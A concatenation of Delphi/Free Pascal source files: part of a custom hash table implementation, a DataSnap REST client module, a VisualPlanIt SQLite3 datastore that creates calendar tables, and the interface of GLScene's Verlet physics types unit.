For iLoop := 0 To Length(FBuckets) - 1 Do
FBuckets[iLoop] := -1;
SetLength(FEntries, iPrime);
FFreeList := -1;
End;
Procedure THashTable.Resize;
Begin
Resize(GetPrime(FCount), False);
End;
Procedure THashTable.Resize(iNewSize : Integer; bRehash : Boolean);
Var
aNumArray : TIntegerArray;
aDestinationArray : THashEntryArray;
i, j, k, iIndex : Integer;
Begin
aNumArray := Nil;
aDestinationArray := Nil;
SetLength(aNumArray, iNewSize);
For i := 0 To Length(aNumArray) - 1 Do
aNumArray[i] := -1;
SetLength(aDestinationArray, iNewSize);
Move(FEntries[0], aDestinationArray[0], FCount * SizeOf(THashEntry));
If bRehash Then
Begin
For k := 0 To FCount - 1 Do
Begin
If aDestinationArray[k].HashCode <> -1 Then
aDestinationArray[k].HashCode := GetHashCode(aDestinationArray[k].Key) And MaxInt;
End;
End;
For j := 0 To FCount - 1 Do
Begin
If aDestinationArray[j].HashCode >= 0 Then
Begin
iIndex := aDestinationArray[j].HashCode Mod iNewSize;
aDestinationArray[j].Next := aNumArray[iIndex];
aNumArray[iIndex] := j;
End;
End;
// FBuckets := aNumArray;
// FEntries := aDestinationArray;
End;
Procedure THashTable.Insert(Const aKey : THashValue; Const aValue : THashValue; bAdd : Boolean);
Var
iNum, iIndex, i, iFreeList : Integer;
// iNum3 : Integer;
Begin
If Not Assigned(FBuckets) Then
Initialize(0);
iNum := GetHashCode(aKey) And MaxInt;
iIndex := iNum Mod Length(FBuckets);
// iNum3 := 0;
i := FBuckets[iIndex];
While i >= 0 Do
Begin
If (FEntries[i].HashCode = iNum) And KeyEquals(FEntries[i].Key, aKey) Then
Begin
If bAdd Then
Error('Insert', StringFormat('Key %s already present', [KeyToString(aKey)]));
FEntries[i].Value := aValue;
Inc(FVersion);
Exit;
End;
// Inc(iNum3);
i := FEntries[i].Next;
End;
If FFreeCount > 0 Then
Begin
iFreeList := FFreeList;
FFreeList := FEntries[iFreeList].Next;
Dec(FFreeCount);
End
Else
Begin
If FCount = Length(FEntries) Then
Begin
Resize;
iIndex := iNum Mod Length(FBuckets);
End;
iFreeList := FCount;
Inc(FCount);
End;
FEntries[iFreeList].HashCode := iNum;
FEntries[iFreeList].Next := FBuckets[iIndex];
FEntries[iFreeList].Key := aKey;
FEntries[iFreeList].Value := aValue;
FBuckets[iIndex] := iFreeList;
Inc(FVersion);
{If iNum3 > 100 Then
Begin
RandomizeComparer;
Resize(Length(FEentries), True);
End;}
End;
Function THashTable.FindEntry(Const aKey : THashKey) : Integer;
Var
iNum, i : Integer;
Begin
If Assigned(FBuckets) Then
Begin
iNum := GetHashCode(aKey) And MaxInt;
i := FBuckets[iNum Mod Length(FBuckets)];
While i >= 0 Do
Begin
If (FEntries[i].HashCode = iNum) And KeyEquals(FEntries[i].Key, aKey) Then
Begin
Result := i;
Exit;
End;
i := FEntries[i].Next;
End;
End;
Result := -1;
End;
Constructor THashTable.Create;
Begin
Create(0);
End;
Constructor THashTable.Create(iCapacity : Integer);
Begin
Initialize(iCapacity);
End;
Procedure THashTable.Add(Const aKey : THashKey; Const aValue : THashValue);
Begin
Insert(aKey, aValue, True);
End;
Function THashTable.TryGetValue(Const aKey : THashKey; Out aValue : THashValue) : Boolean;
Var
iIndex : Integer;
Begin
iIndex := FindEntry(aKey);
Result := iIndex >= 0;
If Result Then
aValue := FEntries[iIndex].Value
Else
FillChar(aValue, SizeOf(THashValue), 0);
End;
Function THashTable.Remove(Const aKey : THashKey) : Boolean;
Var
iNum, iIndex, iNum3, i : Integer;
Begin
If Assigned(FBuckets) Then
Begin
iNum := GetHashCode(aKey) And MaxInt;
iIndex := iNum Mod Length(FBuckets);
iNum3 := -1;
i := FBuckets[iIndex];
While i >= 0 Do
Begin
If (FEntries[i].HashCode = iNum) And KeyEquals(FEntries[i].Key, aKey) Then
Begin
If iNum3 < 0 Then
FBuckets[iIndex] := FEntries[i].Next
Else
FEntries[iNum3].Next := FEntries[i].Next;
FEntries[i].HashCode := -1;
FEntries[i].Next := FFreeList;
FillChar(FEntries[i].Key, SizeOf(THashKey), 0);
FillChar(FEntries[i].Value, SizeOf(THashValue), 0);
FFreeList := i;
Inc(FFreeCount);
Inc(FVersion);
Result := True;
Exit;
End;
iNum3 := i;
i := FEntries[i].Next;
End;
End;
Result := False;
End;
Function THashTable.GetEnumerator : THashTableEnumerator;
Begin
Result := THashTableEnumerator.Create;
Result.FHashTable := Self;
Result.FVersion := FVersion;
End;
Constructor THashTableEnumerator.Create;
Begin
Inherited;
End;
Function THashTableEnumerator.MoveNext : Boolean;
Begin
If FVersion <> FHashTable.FVersion Then
Error('MoveNext', 'Underlying hashtable was changed during enumeration');
While FIndex < FHashTable.FCount Do
Begin
If FHashTable.FEntries[FIndex].HashCode >= 0 Then
Begin
FCurrentKey := FHashTable.FEntries[FIndex].Key;
FCurrentValue := FHashTable.FEntries[FIndex].Value;
Inc(FIndex);
Result := True;
Exit;
End;
Inc(FIndex);
End;
FIndex := FHashTable.FCount + 1;
FillChar(FCurrentKey, SizeOf(THashKey), 0);
FillChar(FCurrentValue, SizeOf(THashValue), 0);
Result := False;
End;
End.
|
unit Guia.untClientmodule;
interface
uses
System.SysUtils, System.Classes, Datasnap.DSClientRest, Guia.Proxy;
type
Tcm = class(TDataModule)
DSRestConnection1: TDSRestConnection;
private
FInstanceOwner: Boolean;
FServerMethodsClient: TServerMethodsClient;
function GetServerMethodsClient: TServerMethodsClient;
{ Private declarations }
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property InstanceOwner: Boolean read FInstanceOwner write FInstanceOwner;
property ServerMethodsClient: TServerMethodsClient read GetServerMethodsClient write FServerMethodsClient;
end;
var
cm: Tcm;
implementation
{%CLASSGROUP 'FMX.Controls.TControl'}
{$R *.dfm}
constructor Tcm.Create(AOwner: TComponent);
begin
inherited;
FInstanceOwner := True;
end;
destructor Tcm.Destroy;
begin
FServerMethodsClient.Free;
inherited;
end;
function Tcm.GetServerMethodsClient: TServerMethodsClient;
begin
if FServerMethodsClient = nil then
FServerMethodsClient:= TServerMethodsClient.Create(DSRestConnection1, FInstanceOwner);
Result := FServerMethodsClient;
end;
end.
|
{$I vp.inc}
unit VpSQLite3DS;
interface
uses
SysUtils, Classes, DB,
VpBaseDS, VpDBDS,
sqlite3conn, sqldb;
type
TVpSqlite3Datastore = class(TVpCustomDBDatastore)
private
FConnection: TSqlite3Connection;
FContactsTable: TSQLQuery;
FEventsTable: TSQLQuery;
FResourceTable: TSQLQuery;
FTasksTable: TSQLQuery;
procedure SetConnection(const AValue: TSqlite3Connection);
protected
procedure CreateTable(const ATableName: String);
function GetContactsTable: TDataset; override;
function GetEventsTable: TDataset; override;
function GetResourceTable: TDataset; override;
function GetTasksTable: TDataset; override;
procedure Loaded; override;
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
procedure OpenTables;
procedure SetConnected(const AValue: Boolean); override;
public
constructor Create(AOwner: TComponent); override;
procedure CreateTables;
function GetNextID(TableName: string): integer; override;
procedure PostEvents; override;
procedure PostContacts; override;
procedure PostTasks; override;
procedure PostResources; override;
property ResourceTable;
property EventsTable;
property ContactsTable;
property TasksTable;
published
property Connection: TSqlite3Connection read FConnection write SetConnection;
// inherited
property AutoConnect;
property AutoCreate;
property DayBuffer;
end;
var
// More information on the use of these values is below.
// They need not be set as constants in your application. They can be any valid value
APPLICATION_ID : LongWord = 1189021115; // must be a 32-bit Unsigned Integer (Longword 0..4294967295)
USER_VERSION : LongInt = 23400001; // must be a 32-bit Signed Integer (LongInt -2147483648..2147483647)
implementation
uses
LazFileUtils,
VpConst, VpMisc;
{ TVpSqlite3Datastore }
constructor TVpSqlite3Datastore.Create(AOwner: TComponent);
begin
inherited;
FContactsTable := TSQLQuery.Create(self);
FContactsTable.SQL.Add('SELECT * FROM Contacts');
FEventsTable := TSQLQuery.Create(Self);
FEventsTable.SQL.Add('SELECT * FROM Events');
FResourceTable := TSQLQuery.Create(self);
FResourceTable.SQL.Add('SELECT * FROM Resources');
FTasksTable := TSQLQuery.Create(self);
FTasksTable.SQL.Add('SELECT * FROM Tasks');
end;
// Connection and tables are active afterwards!
procedure TVpSqlite3Datastore.CreateTables;
var
wasConnected: Boolean;
begin
if FileExists(FConnection.DatabaseName) then
exit;
wasConnected := FConnection.Connected;
FConnection.Close;
if FContactsTable.Transaction = nil then
FContactsTable.Transaction := FConnection.Transaction;
if FEventsTable.Transaction = nil then
FEventsTable.Transaction := FConnection.Transaction;
if FResourceTable.Transaction = nil then
FResourceTable.Transaction := FConnection.Transaction;
if FTasksTable.Transaction = nil then
FTasksTable.Transaction := FConnection.Transaction;
CreateTable(ContactsTableName);
CreateTable(EventsTableName);
CreateTable(ResourceTableName);
CreateTable(TasksTableName);
SetConnected(wasConnected or AutoConnect);
end;
procedure TVpSqlite3Datastore.CreateTable(const ATableName: String);
begin
if ATableName = ContactsTableName then begin
FConnection.ExecuteDirect(
'CREATE TABLE Contacts ('+
'RecordID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, '+
'ResourceID INTEGER,' +
'FirstName VARCHAR(50) ,'+
'LastName VARCHAR(50) , '+
'Birthdate DATE, '+
'Anniversary DATE, '+
'Title VARCHAR(50) ,'+
'Company VARCHAR(50) ,'+
'Job_Position VARCHAR(30), '+
'Address VARCHAR(100), '+
'City VARCHAR(50), '+
'State VARCHAR(25), '+
'Zip VARCHAR(10), '+
'Country VARCHAR(25), '+
'Notes VARCHAR(1024), '+
'Phone1 VARCHAR(25), '+
'Phone2 VARCHAR(25), '+
'Phone3 VARCHAR(25), '+
'Phone4 VARCHAR(25), '+
'Phone5 VARCHAR(25), '+
'PhoneType1 INTEGER, '+
'PhoneType2 INTEGER, '+
'PhoneType3 INTEGER, '+
'PhoneType4 INTEGER, '+
'PhoneType5 INTEGER, '+
'Category INTEGER, '+
'EMail VARCHAR(100), '+
'Custom1 VARCHAR(100), '+
'Custom2 VARCHAR(100),'+
'Custom3 VARCHAR(100), '+
'Custom4 VARCHAR(100), '+
'UserField0 VARCHAR(100), '+
'UserField1 VARCHAR(100), '+
'UserField2 VARCHAR(100), '+
'UserField3 VARCHAR(100), '+
'UserField4 VARCHAR(100), '+
'UserField5 VARCHAR(100), '+
'UserField6 VARCHAR(100), '+
'UserField7 VARCHAR(100), '+
'UserField8 VARCHAR(100), '+
'UserField9 VARCHAR(100) )'
);
FConnection.ExecuteDirect(
'CREATE INDEX ContactsResourceID_idx ON Contacts(ResourceID)'
);
FConnection.ExecuteDirect(
'CREATE INDEX ContactsName_idx ON Contacts(LastName, FirstName)'
);
FConnection.ExecuteDirect(
'CREATE INDEX ContactsCompany_idx ON Contacts(Company)'
);
end else
if ATableName = EventsTableName then begin
FConnection.ExecuteDirect(
'CREATE TABLE Events ('+
'RecordID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, '+
'StartTime TIMESTAMP, '+
'EndTime TIMESTAMP, '+
'ResourceID INTEGER, '+
'Description VARCHAR(255), '+
'Location VARCHAR(255), '+
'Notes VARCHAR(1024), ' +
'Category INTEGER, '+
'AllDayEvent BOOL, '+
'DingPath VARCHAR(255), '+
'AlarmSet BOOL, '+
'AlarmAdvance INTEGER, '+
'AlarmAdvanceType INTEGER, '+
'SnoozeTime TIMESTAMP, '+
'RepeatCode INTEGER, '+
'RepeatRangeEnd TIMESTAMP, '+
'CustomInterval INTEGER, '+
'UserField0 VARCHAR(100), '+
'UserField1 VARCHAR(100), '+
'UserField2 VARCHAR(100), '+
'UserField3 VARCHAR(100), '+
'UserField4 VARCHAR(100), '+
'UserField5 VARCHAR(100), '+
'UserField6 VARCHAR(100), '+
'UserField7 VARCHAR(100), '+
'UserField8 VARCHAR(100), '+
'UserField9 VARCHAR(100) )'
);
FConnection.ExecuteDirect(
'CREATE INDEX EventsResourceID_idx ON Events(ResourceID)'
);
FConnection.ExecuteDirect(
'CREATE INDEX EventsStartTime_idx ON Events(StartTime)'
);
FConnection.ExecuteDirect(
'CREATE INDEX EventsEndTime_idx ON Events(EndTime)'
);
end else
if ATableName = ResourceTableName then begin
FConnection.ExecuteDirect(
'CREATE TABLE Resources ( '+
'ResourceID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, '+
'Description VARCHAR(255), '+
'Notes VARCHAR(1024), '+
'ImageIndex INTEGER, '+
'ResourceActive BOOL, '+
'UserField0 VARCHAR(100), '+
'UserField1 VARCHAR(100), '+
'UserField2 VARCHAR(100), '+
'UserField3 VARCHAR(100), '+
'UserField4 VARCHAR(100), '+
'UserField5 VARCHAR(100), '+
'UserField6 VARCHAR(100), '+
'UserField7 VARCHAR(100), '+
'UserField8 VARCHAR(100), '+
'UserField9 VARCHAR(100) )'
);
end else
if ATableName = TasksTableName then begin
FConnection.ExecuteDirect(
'CREATE TABLE Tasks ('+
'RecordID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, '+
'ResourceID INTEGER, '+
'Complete BOOL, '+
'Description VARCHAR(255), '+
'Details VARCHAR(1024), '+
'CreatedOn TIMESTAMP, '+
'Priority INTEGER, '+
'Category INTEGER, '+
'CompletedOn TIMESTAMP, '+
'DueDate TIMESTAMP, '+
'UserField0 VARCHAR(100), '+
'UserField1 VARCHAR(100), '+
'UserField2 VARCHAR(100), '+
'UserField3 VARCHAR(100), '+
'UserField4 VARCHAR(100), '+
'UserField5 VARCHAR(100), '+
'UserField6 VARCHAR(100), '+
'UserField7 VARCHAR(100), '+
'UserField8 VARCHAR(100), '+
'UserField9 VARCHAR(100) )'
);
FConnection.ExecuteDirect(
'CREATE INDEX TasksResourceID_idx ON Tasks(ResourceID)'
);
FConnection.ExecuteDirect(
'CREATE INDEX TasksDueDate_idx ON Tasks(DueDate)'
);
FConnection.ExecuteDirect(
'CREATE INDEX TasksCompletedOn_idx ON Tasks(CompletedOn)'
);
end;
end;
function TVpSqlite3Datastore.GetContactsTable: TDataset;
begin
Result := FContactsTable;
end;
function TVpSqlite3Datastore.GetEventsTable: TDataset;
begin
Result := FEventsTable;
end;
function TVpSqlite3DataStore.GetNextID(TableName: string): integer;
begin
Unused(TableName);
{ This is not needed in the SQLITE3 datastore as these tables use
autoincrement fields. }
Result := -1;
end;
function TVpSqlite3Datastore.GetResourceTable : TDataset;
begin
Result := FResourceTable;
end;
function TVpSqlite3Datastore.GetTasksTable : TDataset;
begin
Result := FTasksTable;
end;
procedure TVpSqlite3Datastore.Loaded;
begin
inherited;
if not (csDesigning in ComponentState) then
Connected := AutoConnect and (AutoCreate or FileExists(FConnection.DatabaseName));
end;
procedure TVpSqlite3Datastore.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited Notification(AComponent, Operation);
if (Operation = opRemove) and (AComponent = FConnection) then
FConnection := nil;
end;
procedure TVpSqlite3Datastore.OpenTables;
begin
if FContactsTable.Transaction = nil then
FContactsTable.Transaction := FConnection.Transaction;
FContactsTable.Open;
if FEventsTable.Transaction = nil then
FEventsTable.Transaction := FConnection.Transaction;
FEventsTable.Open;
if FResourceTable.Transaction = nil then
FResourceTable.Transaction := FConnection.Transaction;
FResourceTable.Open;
if FTasksTable.Transaction = nil then
FTasksTable.Transaction := FConnection.Transaction;
FTasksTable.Open;
end;
procedure TVpSqlite3Datastore.PostContacts;
begin
inherited;
FContactsTable.ApplyUpdates;
end;
procedure TVpSqlite3Datastore.PostEvents;
begin
inherited;
FEventsTable.ApplyUpdates;
end;
procedure TVpSqlite3Datastore.PostResources;
begin
inherited;
FResourceTable.ApplyUpdates;
end;
procedure TVpSqlite3Datastore.PostTasks;
begin
inherited;
FTasksTable.ApplyUpdates;
end;
procedure TVpSqlite3Datastore.SetConnected(const AValue: Boolean);
begin
if (FConnection = nil) or (FConnection.Transaction = nil) then
exit;
if AValue = FConnection.Connected then
exit;
if AValue and AutoCreate then
CreateTables;
FConnection.Connected := AValue;
if AValue then
begin
FConnection.Transaction.Active := true;
OpenTables;
end;
inherited SetConnected(AValue);
if FConnection.Connected then
Load;
end;
procedure TVpSqlite3Datastore.SetConnection(const AValue: TSqlite3Connection);
var
wasConnected: Boolean;
begin
if AValue = FConnection then
exit;
// To do: clear planit lists...
if FConnection <> nil then begin
wasConnected := FConnection.Connected;
Connected := false;
end;
FConnection := AValue;
FContactsTable.Database := FConnection;
FContactsTable.Transaction := FConnection.Transaction;
FEventsTable.Database := FConnection;
FEventsTable.Transaction := FConnection.Transaction;
FResourceTable.Database := FConnection;
FResourceTable.Transaction := FConnection.Transaction;
FTasksTable.Database := FConnection;
FTasksTable.Transaction := FConnection.Transaction;
if wasConnected then Connected := true;
end;
end.
|
//
// This unit is part of the GLScene Project, http://glscene.org
//
{
Base Verlet modelling/simulation classes.
This unit is generic, GLScene-specific sub-classes are in GLVerletClasses.
Note that currently, the SatisfyConstraintForEdge methods push the nodes in
the edge uniformly - it should push the closer node more for correct physics.
It's a matter of leverage.
}
unit GLVerletTypes;
interface
{$I GLScene.inc}
uses
{$IFDEF USE_FASTMATH}
Neslib.FastMath,
{$ENDIF}
System.Classes,
System.SysUtils,
System.Types,
GLObjects,
GLScene,
GLCoordinates,
GLVectorGeometry,
GLVectorLists,
GLSpacePartition,
GLGeometryBB,
GLVectorTypes;
const
G_DRAG = 0.0001;
cDEFAULT_CONSTRAINT_FRICTION = 0.6;
type
TGLVerletEdgeList = class;
TGLVerletWorld = class;
TVerletProgressTimes = packed record
deltaTime, newTime: Double;
sqrDeltaTime, invSqrDeltaTime: Single;
end;
{ Basic verlet node }
TVerletNode = class(TSpacePartitionLeaf)
private
FForce: TAffineVector;
FOwner: TGLVerletWorld;
FWeight, FInvWeight: Single;
FRadius: Single;
FNailedDown: Boolean;
FFriction: Single;
FChangedOnStep: Integer;
function GetSpeed: TAffineVector;
protected
FLocation, FOldLocation: TAffineVector;
procedure SetLocation(const Value: TAffineVector); virtual;
procedure SetWeight(const Value: Single);
procedure AfterProgress; virtual;
public
constructor CreateOwned(const aOwner: TGLVerletWorld); virtual;
destructor Destroy; override;
{ Applies friction }
procedure ApplyFriction(const friction, penetrationDepth: Single;
const surfaceNormal: TAffineVector);
{ Simple and less accurate method for friction }
procedure OldApplyFriction(const friction, penetrationDepth: Single);
{ Perform Verlet integration }
procedure Verlet(const vpt: TVerletProgressTimes); virtual;
{ Initlializes the node. For the base class, it just makes sure that
FOldPosition = FPosition, so that speed is zero }
procedure Initialize; dynamic;
{ Calculates the distance to another node }
function DistanceToNode(const node: TVerletNode): Single;
{ Calculates the movement of the node }
function GetMovement: TAffineVector;
{ The TVerletNode inherits from TSpacePartitionLeaf, and it needs to
know how to publish itself. The owner ( a TGLVerletWorld ) has a spatial
partitioning object }
procedure UpdateCachedAABBAndBSphere; override;
{ The VerletWorld that owns this verlet }
property Owner: TGLVerletWorld read FOwner;
{ The location of the verlet }
property Location: TAffineVector read FLocation write SetLocation;
{ The old location of the verlet. This is used for verlet integration }
property OldLocation: TAffineVector read FOldLocation write FOldLocation;
{ The radius of the verlet node - this has been more or less deprecated }
property Radius: Single read FRadius write FRadius;
{ A sum of all forces that has been applied to this verlet node during a step }
property Force: TAffineVector read FForce write FForce;
{ If the node is nailed down, it can't be moved by either force,
constraint or verlet integration - but you can still move it by hand }
property NailedDown: Boolean read FNailedDown write FNailedDown;
{ The weight of a node determines how much it's affected by a force }
property Weight: Single read FWeight write SetWeight;
{ InvWeight is 1/Weight, and is kept up to date automatically }
property InvWeight: Single read FInvWeight;
{ Returns the speed of the verlet node. Speed = Movement / deltatime }
property Speed: TAffineVector read GetSpeed;
{ Each node has a friction that effects how it reacts during contacts. }
property friction: Single read FFriction write FFriction;
{ What phyisics step was this node last changed? Used to keep track
of when the spatial partitioning needs to be updated }
property ChangedOnStep: Integer read FChangedOnStep;
end;
TVerletNodeClass = class of TVerletNode;
TVerletNodeList = class(TList)
private
function GetItems(i: Integer): TVerletNode;
procedure SetItems(i: Integer; const Value: TVerletNode);
public
property Items[i: Integer]: TVerletNode read GetItems write SetItems; default;
end;
TVerletConstraint = class(TObject)
private
FOwner: TGLVerletWorld;
FEnabled: Boolean;
FTag: Integer;
public
constructor Create(const aOwner: TGLVerletWorld); virtual;
destructor Destroy; override;
{ Updates the position of one or several nodes to make sure that they
don't violate the constraint }
procedure SatisfyConstraint(const iteration, maxIterations: Integer); virtual; abstract;
{ Notifies removal of a node }
procedure RemoveNode(const aNode: TVerletNode); virtual; abstract;
{ Method that's fired before the physics iterations are performed }
procedure BeforeIterations; virtual;
{ Onwer of the constraint }
property Owner: TGLVerletWorld read FOwner;
{ Determines if the constraint should be enforced or not }
property Enabled: Boolean read FEnabled write FEnabled;
{ Tag field reserved for the user. }
property Tag: Integer read FTag write FTag;
end;
TGLVerletDualConstraint = class(TVerletConstraint)
private
FNodeA, FNodeB: TVerletNode;
public
procedure RemoveNode(const aNode: TVerletNode); override;
{ Reference to NodeA. }
property NodeA: TVerletNode read FNodeA write FNodeA;
{ Reference to NodeB. }
property NodeB: TVerletNode read FNodeB write FNodeB;
end;
TVerletGroupConstraint = class(TVerletConstraint)
private
FNodes: TVerletNodeList;
public
constructor Create(const aOwner: TGLVerletWorld); override;
destructor Destroy; override;
procedure RemoveNode(const aNode: TVerletNode); override;
{ The list of nodes that this constraint will effect }
property Nodes: TVerletNodeList read FNodes;
end;
// Verlet edges simulate rigid collission edges
TGLVerletEdge = class(TSpacePartitionLeaf)
private
FNodeA: TVerletNode;
FNodeB: TVerletNode;
public
{ The TGLVerletEdge inherits from TSpacePartitionLeaf, and it needs to
know how to publish itself. The owner ( a TGLVerletWorld ) has a spatial
partitioning object }
procedure UpdateCachedAABBAndBSphere; override;
constructor CreateEdgeOwned(const aNodeA, aNodeB: TVerletNode);
{ One of the nodes in the edge }
property NodeA: TVerletNode read FNodeA write FNodeA;
{ One of the nodes in the edge }
property NodeB: TVerletNode read FNodeB write FNodeB;
end;
TGLVerletEdgeList = class(TList)
private
function GetItems(i: Integer): TGLVerletEdge;
procedure SetItems(i: Integer; const Value: TGLVerletEdge);
public
property Items[i: Integer]: TGLVerletEdge read GetItems write SetItems; default;
end;
TGLVerletGlobalConstraint = class(TVerletConstraint)
private
FKickbackForce: TAffineVector;
FKickbackTorque: TAffineVector;
FLocation: TAffineVector;
procedure SetLocation(const Value: TAffineVector); virtual;
public
constructor Create(const aOwner: TGLVerletWorld); override;
destructor Destroy; override;
procedure RemoveNode(const aNode: TVerletNode); override;
procedure BeforeIterations; override;
procedure SatisfyConstraint(const iteration, maxIterations: Integer); override;
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); virtual; abstract;
procedure SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer); virtual;
property Location: TAffineVector read FLocation write SetLocation;
{ The force that this collider has experienced while correcting the
verlet possitions. This force can be applied to ODE bodies, for
instance }
property KickbackForce: TAffineVector read FKickbackForce write FKickbackForce;
{ The torque that this collider has experienced while correcting the
verlet possitions, in reference to the center of the collider. The
torque force can be applied to ODE bodies, but it must first be
translated. A torque can be trasnalted by
EM(b) = EM(a) + EF x VectorSubtract(b, a).
Simply adding the torque to the body will NOT work correctly. See
TranslateKickbackTorque }
property KickbackTorque: TAffineVector read FKickbackTorque write FKickbackTorque;
procedure AddKickbackForceAt(const Pos: TAffineVector; const Force: TAffineVector);
function TranslateKickbackTorque(const TorqueCenter: TAffineVector): TAffineVector;
end;
TGLVerletGlobalFrictionConstraint = class(TGLVerletGlobalConstraint)
private
FFrictionRatio: Single;
public
constructor Create(const aOwner: TGLVerletWorld); override;
property FrictionRatio: Single read FFrictionRatio write FFrictionRatio;
end;
TGLVerletGlobalFrictionConstraintSP = class(TGLVerletGlobalFrictionConstraint)
public
procedure SatisfyConstraint(const iteration, maxIterations: Integer); override;
procedure PerformSpaceQuery; virtual; abstract;
end;
TGLVerletGlobalFrictionConstraintSphere = class(TGLVerletGlobalFrictionConstraintSP)
private
FCachedBSphere: TBSphere;
procedure SetLocation(const Value: TAffineVector); override;
public
procedure UpdateCachedBSphere;
procedure PerformSpaceQuery; override;
function GetBSphere: TBSphere; virtual; abstract;
property CachedBSphere: TBSphere read FCachedBSphere;
end;
TGLVerletGlobalFrictionConstraintBox = class(TGLVerletGlobalFrictionConstraintSP)
private
FCachedAABB: TAABB;
procedure SetLocation(const Value: TAffineVector); override;
public
procedure UpdateCachedAABB;
procedure PerformSpaceQuery; override;
function GetAABB: TAABB; virtual; abstract;
property CachedAABB: TAABB read FCachedAABB;
end;
TVerletConstraintList = class(TList)
private
function GetItems(i: Integer): TVerletConstraint;
procedure SetItems(i: Integer; const Value: TVerletConstraint);
public
property Items[i: Integer]: TVerletConstraint read GetItems write SetItems; default;
end;
{ Generic verlet force. }
TGLVerletForce = class(TObject)
private
FOwner: TGLVerletWorld;
public
constructor Create(const aOwner: TGLVerletWorld); virtual;
destructor Destroy; override;
// Implementation should add force to force resultant for all relevant nodes
procedure AddForce(const vpt: TVerletProgressTimes); virtual; abstract;
// Notifies removal of a node
procedure RemoveNode(const aNode: TVerletNode); virtual; abstract;
property Owner: TGLVerletWorld read FOwner;
end;
{ A verlet force that applies to two specified nodes. }
TGLVerletDualForce = class(TGLVerletForce)
private
FNodeA, FNodeB: TVerletNode;
public
procedure RemoveNode(const aNode: TVerletNode); override;
{ Reference to NodeA. }
property NodeA: TVerletNode read FNodeA write FNodeA;
{ Reference to NodeB. }
property NodeB: TVerletNode read FNodeB write FNodeB;
end;
{ A verlet force that applies to a specified group of nodes. }
TVerletGroupForce = class(TGLVerletForce)
private
FNodes: TVerletNodeList;
public
constructor Create(const aOwner: TGLVerletWorld); override;
destructor Destroy; override;
procedure RemoveNode(const aNode: TVerletNode); override;
{ Nodes of the force group, referred, NOT owned. }
property Nodes: TVerletNodeList read FNodes;
end;
{ A global force (applied to all verlet nodes). }
TGLVerletGlobalForce = class(TGLVerletForce)
public
procedure RemoveNode(const aNode: TVerletNode); override;
procedure AddForce(const vpt: TVerletProgressTimes); override;
procedure AddForceToNode(const aNode: TVerletNode); virtual; abstract;
end;
TGLVerletForceList = class(TList)
private
function GetItems(i: Integer): TGLVerletForce;
procedure SetItems(i: Integer; const Value: TGLVerletForce);
public
property Items[i: Integer]: TGLVerletForce read GetItems write SetItems; default;
end;
TVCStick = class;
TVFSpring = class;
TVCSlider = class;
TUpdateSpacePartion = (uspEveryIteration, uspEveryFrame, uspNever);
TCollisionConstraintTypes = (cctEdge, cctNode);
TCollisionConstraintTypesSet = set of TCollisionConstraintTypes;
TGLVerletWorld = class(TObject)
private
FIterations: Integer;
FNodes: TVerletNodeList;
FConstraints: TVerletConstraintList;
FForces: TGLVerletForceList;
FMaxDeltaTime, FSimTime: Single;
FDrag: Single;
FCurrentDeltaTime: Single;
FInvCurrentDeltaTime: Single;
FSolidEdges: TGLVerletEdgeList;
FSpacePartition: TBaseSpacePartition;
FCurrentStepCount: Integer;
FUpdateSpacePartion: TUpdateSpacePartion;
FCollisionConstraintTypes: TCollisionConstraintTypesSet;
FConstraintsWithBeforeIterations: TVerletConstraintList;
FVerletNodeClass: TVerletNodeClass;
FInertia: Boolean;
FInertaPauseSteps: Integer;
protected
procedure AccumulateForces(const vpt: TVerletProgressTimes); virtual;
procedure Verlet(const vpt: TVerletProgressTimes); virtual;
procedure SatisfyConstraints(const vpt: TVerletProgressTimes); virtual;
procedure DoUpdateSpacePartition;
public
constructor Create; virtual;
destructor Destroy; override;
function AddNode(const aNode: TVerletNode): Integer;
procedure RemoveNode(const aNode: TVerletNode);
function AddConstraint(const aConstraint: TVerletConstraint): Integer;
procedure RemoveConstraint(const aConstraint: TVerletConstraint);
function AddForce(const aForce: TGLVerletForce): Integer;
procedure RemoveForce(const aForce: TGLVerletForce);
procedure AddSolidEdge(const aNodeA, aNodeB: TVerletNode);
procedure PauseInertia(const IterationSteps: Integer);
function CreateOwnedNode(const Location: TAffineVector;
const aRadius: Single = 0;
const aWeight: Single = 1): TVerletNode;
function CreateStick(const aNodeA, aNodeB: TVerletNode;
const Slack: Single = 0): TVCStick;
function CreateSpring(const aNodeA, aNodeB: TVerletNode;
const aStrength, aDamping: Single; const aSlack: Single = 0): TVFSpring;
function CreateSlider(const aNodeA, aNodeB: TVerletNode;
const aSlideDirection: TAffineVector): TVCSlider;
procedure Initialize; virtual;
procedure CreateOctree(const OctreeMin, OctreeMax: TAffineVector;
const LeafThreshold, MaxTreeDepth: Integer);
function Progress(const deltaTime, newTime: Double): Integer; virtual;
function FirstNode: TVerletNode;
function LastNode: TVerletNode;
property Drag: Single read FDrag write FDrag;
property Iterations: Integer read FIterations write FIterations;
property Nodes: TVerletNodeList read FNodes;
property Constraints: TVerletConstraintList read FConstraints;
property ConstraintsWithBeforeIterations: TVerletConstraintList read FConstraintsWithBeforeIterations;
property SimTime: Single read FSimTime write FSimTime;
property MaxDeltaTime: Single read FMaxDeltaTime write FMaxDeltaTime;
property CurrentDeltaTime: Single read FCurrentDeltaTime;
property SolidEdges: TGLVerletEdgeList read FSolidEdges write FSolidEdges;
property CurrentStepCount: Integer read FCurrentStepCount;
property SpacePartition: TBaseSpacePartition read FSpacePartition;
property UpdateSpacePartion: TUpdateSpacePartion read FUpdateSpacePartion write FUpdateSpacePartion;
property CollisionConstraintTypes: TCollisionConstraintTypesSet read FCollisionConstraintTypes
write FCollisionConstraintTypes;
property VerletNodeClass: TVerletNodeClass read FVerletNodeClass write FVerletNodeClass;
property Inertia: Boolean read FInertia write FInertia;
end;
TVFGravity = class(TGLVerletGlobalForce)
private
FGravity: TAffineVector;
public
constructor Create(const aOwner: TGLVerletWorld); override;
procedure AddForceToNode(const aNode: TVerletNode); override;
property Gravity: TAffineVector read FGravity write FGravity;
end;
